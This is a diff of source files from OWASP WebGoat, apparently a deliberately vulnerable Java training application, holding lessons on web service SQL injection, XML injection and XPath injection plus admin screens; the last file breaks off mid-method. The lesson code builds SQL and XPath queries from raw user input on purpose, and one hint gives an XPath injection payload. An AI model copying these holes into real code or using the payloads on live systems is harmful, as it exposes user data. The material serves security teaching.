
@ -0,0 +1,294 @@
/*
* Created on Jun 1, 2005
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/
package org.owasp.webgoat.lessons;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.PRE;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.WebgoatContext;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author asmolen
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
*/
public class WsSqlInjection extends LessonAdapter
{
public final static String ccNumber = "cc_number";
private final static String ACCT_NUM = "account_number";
private String accountNumber;
final static IMG CREDITS_LOGO = new IMG("images/logos/parasoft.jpg")
.setAlt("Parasoft").setBorder(0).setHspace(0).setVspace(0);
/* (non-Javadoc)
* @see lessons.AbstractLesson#getMenuItem()
*/
static boolean completed;
private static WebgoatContext webgoatContext;
/**
* We maintain a static reference to WebgoatContext, since this class
* is also automatically instantiated by the Axis web services module,
* which does not call setWebgoatContext()
* (non-Javadoc)
* @see org.owasp.webgoat.lessons.AbstractLesson#setWebgoatContext(org.owasp.webgoat.session.WebgoatContext)
*/
@Override
public void setWebgoatContext(WebgoatContext webgoatContext) {
WsSqlInjection.webgoatContext = webgoatContext;
}
@Override
public WebgoatContext getWebgoatContext() {
return WsSqlInjection.webgoatContext;
}
protected Category getDefaultCategory()
{
return Category.WEB_SERVICES;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("Try connecting to the WSDL with a browser or Web Service tool.");
hints
.add("Sometimes the server side code will perform input validation before issuing "
+ "the request to the web service operation. Try to bypass this check by "
+ "accessing the web service directly");
hints
.add("The URL for the web service is: http://localhost/WebGoat/services/WsSqlInjection?WSDL <br>"
+ "The WSDL can usually be viewed by adding a ?WSDL on the end of the request.");
hints
.add("Create a new soap request for the getCreditCard(String id) operation.");
hints
.add("A soap request uses the following HTTP header: <br> "
+ "SOAPAction: some action header, can be &quot;&quot;<br><br>"
+ "The soap message body has the following format:<br>"
+ "&lt;?xml version='1.0' encoding='UTF-8'?&gt; <br>"
+ "&nbsp;&nbsp;&lt;SOAP-ENV:Envelope xmlns:SOAP-ENV='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ns1:getCreditCard SOAP-ENV:encodingStyle='http://schemas.xmlsoap.org/soap/encoding/' xmlns:ns1='http://lessons'&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;id xsi:type='xsd:string'&gt;101&lt;/id&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/ns1:getCreditCard&gt; <br>"
+ "&nbsp;&nbsp;&nbsp;&nbsp;&lt;/SOAP-ENV:Body&gt; <br>"
+ "&nbsp;&nbsp;&lt;/SOAP-ENV:Envelope&gt; <br>" + "");
/* "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt; <br>" +
" &lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" <br>" +
" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" <br>" +
" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"&gt; <br>" +
" &lt;SOAP-ENV:Body&gt; <br>" +
" &lt;ns1:getCreditCard SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:ns1=\"http://lessons\"&gt; <br>" +
" &lt;id xsi:type=\"xsd:string\"&gt;101&lt;/id&gt; <br>"+
" &lt;/ns1:getCreditCard&gt; <br>" +
" &lt;/SOAP-ENV:Body&gt; <br>" +
" &lt;/SOAP-ENV:Envelope&gt; <br><br>" +
"Intercept the HTTP request and try to create a soap request."); */
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(150);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
public String getTitle()
{
return "Web Service SQL Injection";
}
protected Element makeAccountLine(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement("Enter your Account Number: "));
accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101");
Input input = new Input(Input.TEXT, ACCT_NUM, accountNumber.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
return ec;
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
ec.addElement(makeAccountLine(s));
String query = "SELECT * FROM user_data WHERE userid = "
+ accountNumber;
ec.addElement(new PRE(query));
for (int i = 0; i < accountNumber.length(); i++)
{
char c = accountNumber.charAt(i);
if (c < '0' || c > '9')
{
ec.addElement("Invalid account number. ");
accountNumber = "0";
}
}
try
{
ResultSet results = getResults(accountNumber);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
results.last();
if (results.getRow() >= 6)
{
//this should never happen
}
}
else
{
ec.addElement("No results matched. Try Again.");
}
}
catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
}
A a = new A("services/WsSqlInjection?WSDL", "WebGoat WSDL File");
ec
.addElement(new P()
.addElement("Exploit the following WSDL to access sensitive data:"));
ec.addElement(new BR());
ec.addElement(a);
getLessonTracker(s).setCompleted(completed);
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
public ResultSet getResults(String id)
{
try
{
Connection connection = DatabaseUtilities.getConnection("guest", getWebgoatContext());
String query = "SELECT * FROM user_data WHERE userid = " + id;
try
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
return results;
}
catch (SQLException sqle)
{}
}
catch (Exception e)
{}
return null;
}
public String[] getCreditCard(String id)
{
ResultSet results = getResults(id);
if ((results != null))
{
try
{
results.last();
String[] users = new String[results.getRow()];
if (users.length > 4)
{
completed = true;
}
results.beforeFirst();
while (results.next() == true)
{
int i = results.getRow();
users[i - 1] = results.getString(ccNumber);
}
return users;
}
catch (SQLException sqle)
{}
}
return null;
}
public Element getCredits()
{
return super.getCustomCredits("By Alex Smolen", CREDITS_LOGO);
}
}

387
main/project/JavaSource/org/owasp/webgoat/lessons/XMLInjection.java Normal file
View File

@ -0,0 +1,387 @@
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.Div;
import org.apache.ecs.html.Form;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.H3;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
*/
public class XMLInjection extends LessonAdapter
{
private final static Integer DEFAULT_RANKING = new Integer(20);
private final static String ACCOUNTID = "accountID";
public static HashMap<Integer, Reward> rewardsMap = new HashMap<Integer, Reward>();
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
protected static HashMap<Integer, Reward> init()
{
Reward r = new Reward();
r.setName("WebGoat t-shirt");
r.setPoints(50);
rewardsMap.put(1001, r);
r = new Reward();
r.setName("WebGoat Secure Kettle");
r.setPoints(30);
rewardsMap.put(1002, r);
r = new Reward();
r.setName("WebGoat Mug");
r.setPoints(20);
rewardsMap.put(1003, r);
r = new Reward();
r.setName("WebGoat Core Duo Laptop");
r.setPoints(2000);
rewardsMap.put(1004, r);
r = new Reward();
r.setName("WebGoat Hawaii Cruise");
r.setPoints(3000);
rewardsMap.put(1005, r);
return rewardsMap;
}
public void handleRequest(WebSession s)
{
try
{
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{
if (s.getParser().getRawParameter(ACCOUNTID, "").equals(
"836239"))
{
String lineSep = System.getProperty("line.separator");
String xmlStr = "<root>" + lineSep
+ "<reward>WebGoat Mug 20 Pts</reward>"
+ lineSep
+ "<reward>WebGoat t-shirt 50 Pts</reward>"
+ lineSep + "<reward>WebGoat Secure Kettle 30 Pts</reward>"
+ lineSep + "</root>";
s.getResponse().setContentType("text/xml");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
out.print(xmlStr);
out.flush();
out.close();
return;
}
}
}
catch (Exception ex)
{
ex.printStackTrace();
}
Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("");
form.addElement(createContent(s));
setContent(form);
}
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
boolean isDone = false;
init();
if (s.getParser().getRawParameter("done", "").equals("yes"))
{
isDone = true;
}
String lineSep = System.getProperty("line.separator");
String script = "<script>"
+ lineSep
+ "function getRewards() {"
+ lineSep
+ "var accountIDField = document.getElementById('"
+ ACCOUNTID
+ "');"
+ lineSep
+ "if (accountIDField.value.length < 6 ) { return; }"
+ lineSep
+ "var url = '" + getLink()
+ "&from=ajax&"
+ ACCOUNTID
+ "=' + encodeURIComponent(accountIDField.value);"
+ lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep
+ "req = new XMLHttpRequest();"
+ lineSep
+ "} else if (window.ActiveXObject) {"
+ lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep
+ " }"
+ lineSep
+ " req.open('GET', url, true);"
+ lineSep
+ " req.onreadystatechange = callback;"
+ lineSep
+ " req.send(null);"
+ lineSep
+ "}"
+ lineSep
+ "function callback() {"
+ lineSep
+ " if (req.readyState == 4) { "
+ lineSep
+ " if (req.status == 200) { "
+ lineSep
+ " var rewards = req.responseXML.getElementsByTagName('reward');"
+ lineSep
+ " var rewardsDiv = document.getElementById('rewardsDiv');"
+ lineSep
+ " rewardsDiv.innerHTML = '';"
+ lineSep
+ " var strHTML='';"
+ lineSep
+ " strHTML = '<tr><td>&nbsp;</td><td><b>Rewards</b></td></tr>';"
+ lineSep
+ " for(var i=0; i< rewards.length; i++){"
//+ lineSep
//+ " var node = rewards.childNodes[i+1];"
+ lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"check' + (i+1001) +'\" type=\"checkbox\"></td><td>';"
+ lineSep
+ " strHTML = strHTML + rewards[i].firstChild.nodeValue + '</td></tr>';"
+ lineSep
+ " }"
+ lineSep
+ " strHTML = '<table>' + strHTML + '</table>';"
+ lineSep
+ " strHTML = 'Your account balance is now 100 points<br><br>' + strHTML;"
+ lineSep + " rewardsDiv.innerHTML = strHTML;"
+ lineSep + " }}}" + lineSep + "</script>" + lineSep;
if (!isDone)
{
ec.addElement(new StringElement(script));
}
ec.addElement(new BR().addElement(new H1()
.addElement("Welcome to WebGoat-Miles Reward Miles Program.")));
ec.addElement(new BR());
ec.addElement(new BR().addElement(new H3()
.addElement("Rewards available through the program:")));
ec.addElement(new BR());
Table t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("90%").setAlign("center");
TR trRewards = null;
for (int i = 1001; i < 1001 + rewardsMap.size(); i++)
{
trRewards = new TR();
Reward r = (Reward) rewardsMap.get(i);
trRewards.addElement(new TD("-" + r.getName()));
trRewards.addElement(new TD(r.getPoints() + " Pts"));
t2.addElement(trRewards);
}
ec.addElement(t2);
ec.addElement(new BR());
ec.addElement(new H3().addElement("Redeem your points:"));
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD("Please enter your account ID:"));
Input input1 = new Input(Input.TEXT, ACCOUNTID, "");
input1.addAttribute("onkeyup", "getRewards();");
input1.addAttribute("id", ACCOUNTID);
tr.addElement(new TD(input1));
t1.addElement(tr);
ec.addElement(t1);
ec.addElement(new BR());
ec.addElement(new BR());
ec.addElement(new BR());
Div div = new Div();
div.addAttribute("name", "rewardsDiv");
div.addAttribute("id", "rewardsDiv");
ec.addElement(div);
Input b = new Input();
b.setType(Input.SUBMIT);
b.setValue("Submit");
b.setName("SUBMIT");
ec.addElement(b);
if (s.getParser().getRawParameter("SUBMIT", "") != "")
{
if (s.getParser().getRawParameter("check1004", "") != "")
{
makeSuccess(s);
}
else
{
StringBuffer shipment = new StringBuffer();
for (int i = 1001; i < 1001 + rewardsMap.size(); i++)
{
if (s.getParser().getRawParameter("check" + i, "") != "")
{
shipment.append(((Reward) rewardsMap.get(i)).getName()
+ "<br>");
}
}
shipment
.insert(0,
"<br><br><b>The following items will be shipped to your address:</b><br>");
ec.addElement(new StringElement(shipment.toString()));
}
}
return ec;
}
protected Element makeSuccess(WebSession s)
{
getLessonTracker(s).setCompleted(true);
s
.setMessage("Congratulations. You have successfully completed this lesson.");
return (null);
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.AJAX_SECURITY;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("This page is using XMLHTTP to comunicate with the server.");
hints.add("Try to intercept the reply and check the reply.");
hints
.add("Intercept the reply and try to inject some XML to add more rewards to yourself.");
return hints;
}
public String getTitle()
{
return "XML Injection";
}
static class Reward
{
private String name;
private int points;
public String getName()
{
return name;
}
public void setName(String name)
{
this.name = name;
}
public int getPoints()
{
return points;
}
public void setPoints(int points)
{
this.points = points;
}
}
}

265
main/project/JavaSource/org/owasp/webgoat/lessons/XPATHInjection.java Normal file
View File

@ -0,0 +1,265 @@
/**
*
*/
package org.owasp.webgoat.lessons;
import java.io.File;
import java.util.ArrayList;
import java.util.List;
import java.io.IOException;
import java.io.FileInputStream;
import org.xml.sax.InputSource;
import org.w3c.dom.NodeList;
import org.w3c.dom.Node;
import javax.xml.xpath.XPathConstants;
import javax.xml.xpath.XPath;
import javax.xml.xpath.XPathFactory;
import javax.xml.xpath.XPathExpressionException;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.Table;
import org.apache.ecs.html.H1;
import org.apache.ecs.html.BR;
import org.apache.ecs.html.B;
import org.apache.ecs.html.PRE;
import org.apache.ecs.HtmlColor;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ECSFactory;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created November 28, 2006
*/
public class XPATHInjection extends LessonAdapter
{
private final static Integer DEFAULT_RANKING = new Integer(74);
private final static String USERNAME = "Username";
private final static String PASSWORD = "Password";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
NodeList nodes = null;
ElementContainer ec = new ElementContainer();
try
{
ec.addElement(new BR().addElement(new H1()
.addElement("Welcome to WebGoat employee intranet")));
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0)
.setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR();
tr
.addElement(new TH()
.addElement(
"Please confirm your username and password before viewing your profile.")
.setColSpan(2).setAlign("left"));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("*Required Fields").setWidth(
"30%").setColSpan(2).setAlign("left"));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("&nbsp").setWidth("30%")
.setColSpan(2).setAlign("left"));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD(new B(new StringElement("*User Name: "))));
Input input1 = new Input(Input.TEXT, USERNAME, "");
tr.addElement(new TD(input1));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD(new B(new StringElement("*Password: "))));
Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
tr.addElement(new TD(input2));
t1.addElement(tr);
Element b = ECSFactory.makeButton("Submit");
t1.addElement(new TR(new TD(b)));
ec.addElement(t1);
String username = s.getParser().getRawParameter(USERNAME, "");
if (username == null || username.length() == 0)
{
ec.addElement(new P().addElement(new StringElement(
"Username is a required field")));
return ec;
}
String password = s.getParser().getRawParameter(PASSWORD, "");
if (password == null || password.length() == 0)
{
ec.addElement(new P().addElement(new StringElement(
"Password is a required field")));
return ec;
}
String dir = s.getContext().getRealPath(
"/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='"
+ username + "' and passwd/text()='" + password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource,
XPathConstants.NODESET);
int nodesLength = nodes.getLength();
Table t2 = null;
if (nodesLength > 0)
{
t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(
1).setWidth("90%").setAlign("center");
tr = new TR();
tr.setBgColor(HtmlColor.GRAY);
tr.addElement(new TD().addElement("Username"));
tr.addElement(new TD().addElement("Account No."));
tr.addElement(new TD().addElement("Salary"));
t2.addElement(tr);
}
for (int i = 0; i < nodesLength; i++)
{
Node node = nodes.item(i);
String[] arrTokens = node.getTextContent()
.split("[\\t\\s\\n]+");
tr = new TR();
tr.addElement(new TD().addElement(arrTokens[1]));
tr.addElement(new TD().addElement(arrTokens[2]));
tr.addElement(new TD().addElement(arrTokens[4]));
t2.addElement(tr);
}
if (nodes.getLength() > 1)
{
makeSuccess(s);
}
if (t2 != null)
{
ec.addElement(new PRE());
ec.addElement(t2);
}
}
catch (IOException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
catch (IllegalArgumentException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
catch (XPathExpressionException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ec;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
protected boolean getDefaultHidden()
{
// TODO Auto-generated method stub
return false;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
// TODO Auto-generated method stub
List<String> hints = new ArrayList<String>();
hints.add("Remember that the data is stored in XML format.");
hints.add("The system is using XPath to query.");
hints
.add("XPath is almost the same thing as SQL, the same hacking techniques apply too.");
hints
.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything ");
return hints;
}
public String getTitle()
{
return "XPATH Injection";
}
}

104
main/project/JavaSource/org/owasp/webgoat/lessons/admin/AdminScreen.java Normal file
View File

@ -0,0 +1,104 @@
package org.owasp.webgoat.lessons.admin;
import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public abstract class AdminScreen extends Screen
{
/**
* Description of the Field
*/
protected String query = null;
/**
* Constructor for the AdminScreen object
*
* @param s Description of the Parameter
* @param q Description of the Parameter
*/
public AdminScreen(WebSession s, String q)
{
setQuery(q);
// setupAdmin(s); FIXME: what was this supposed to do?
}
/**
* Constructor for the AdminScreen object
*
* @param s Description of the Parameter
*/
public AdminScreen(WebSession s)
{}
/**
* Constructor for the AdminScreen object
*/
public AdminScreen()
{}
/**
* Gets the title attribute of the AdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Admin Information");
}
public String getRole()
{
return AbstractLesson.ADMIN_ROLE;
}
/**
* Sets the query attribute of the AdminScreen object
*
* @param q The new query value
*/
public void setQuery(String q)
{
query = q;
}
}

128
main/project/JavaSource/org/owasp/webgoat/lessons/admin/ProductsAdminScreen.java Normal file
View File

@ -0,0 +1,128 @@
package org.owasp.webgoat.lessons.admin;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.ResultSetMetaData;
import java.sql.Statement;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class ProductsAdminScreen extends LessonAdapter
{
private final static String QUERY = "SELECT * FROM product_system_data";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
Connection connection = DatabaseUtilities.getConnection(s);
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(QUERY);
if (results != null)
{
makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,
resultsMetaData));
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the category attribute of the ProductsAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
/**
* Gets the role attribute of the ProductsAdminScreen object
*
* @return The role value
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the ProductsAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Product Information");
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
}

166
main/project/JavaSource/org/owasp/webgoat/lessons/admin/RefreshDBScreen.java Normal file
View File

@ -0,0 +1,166 @@
package org.owasp.webgoat.lessons.admin;
import java.sql.Connection;
import org.owasp.webgoat.lessons.*;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
import org.apache.ecs.html.A;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*;
/*******************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003
*/
public class RefreshDBScreen extends LessonAdapter
{
private final static String REFRESH = "Refresh";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
try
{
boolean refresh = s.getParser().getBooleanParameter(REFRESH, false);
if (refresh)
{
refreshDB(s);
ec.addElement(new StringElement(
"Successfully refreshed the database."));
}
else
{
Element label = new StringElement("Refresh the database? ");
A link1 = ECSFactory.makeLink("Yes", REFRESH, true);
A link2 = ECSFactory.makeLink("No", REFRESH, false);
TD td1 = new TD().addElement(label);
TD td2 = new TD().addElement(link1);
TD td3 = new TD().addElement(link2);
TR row = new TR().addElement(td1).addElement(td2).addElement(
td3);
Table t = new Table().setCellSpacing(40).setWidth("50%");
if (s.isColor())
{
t.setBorder(1);
}
t.addElement(row);
ec.addElement(t);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
/**
* Gets the category attribute of the RefreshDBScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the RefreshDBScreen object
*
* @return The role value
*/
public String getRole()
{
return ADMIN_ROLE;
}
/**
* Gets the title attribute of the RefreshDBScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Refresh Database");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
*/
public void refreshDB(WebSession s)
{
try
